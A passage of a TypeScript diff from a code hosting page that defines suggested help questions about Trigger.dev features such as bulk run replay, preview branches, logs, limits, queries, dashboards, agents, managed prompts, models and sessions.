"How do I replay runs in bulk?",
|
||||
"How do I cancel or replay a lot of runs at once?"
|
||||
);
|
||||
export const DOCS_BRANCHES = def(
|
||||
"docs-branches",
|
||||
"How do preview branches work?",
|
||||
"How do preview branches work in Trigger.dev?"
|
||||
);
|
||||
export const DOCS_LOGS = def(
|
||||
"docs-logs",
|
||||
"How do I log from a task?",
|
||||
"How do I write logs from a task, and how long are they kept?"
|
||||
);
|
||||
export const DOCS_LIMITS = def(
|
||||
"docs-limits",
|
||||
"What are the limits?",
|
||||
"What limits apply to my environment, and which ones can I raise?"
|
||||
);
|
||||
export const DOCS_QUERY = def(
|
||||
"docs-query",
|
||||
"How do I write a query?",
|
||||
"How do I write a query over my runs and metrics?"
|
||||
);
|
||||
export const DOCS_DASHBOARDS = def(
|
||||
"docs-dashboards",
|
||||
"How do dashboards work?",
|
||||
"How do I build a metrics dashboard out of my own queries?"
|
||||
);
|
||||
export const DOCS_AGENTS = def(
|
||||
"docs-agents",
|
||||
"How do I build an agent?",
|
||||
"How do I build an agent with Trigger.dev?"
|
||||
);
|
||||
export const DOCS_PROMPTS = def(
|
||||
"docs-prompts",
|
||||
"How do managed prompts work?",
|
||||
"How do managed prompts and prompt versions work?"
|
||||
);
|
||||
export const DOCS_MODELS = def(
|
||||
"docs-models",
|
||||
"How do I configure a model?",
|
||||
"How do I choose and configure an LLM model in a task?"
|
||||
);
|
||||
export const DOCS_SESSIONS = def(
|
||||
"docs-sessions",
|
||||
"How do sessions work?",
|
||||
"How do agent sessions work, and when do they expire?"
|
||||
);
|
||||
|
||||
export const GENERIC_PROMPTS: SuggestedPrompt[] = [EXPLAIN_PAGE, DOCS_GENERIC];
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user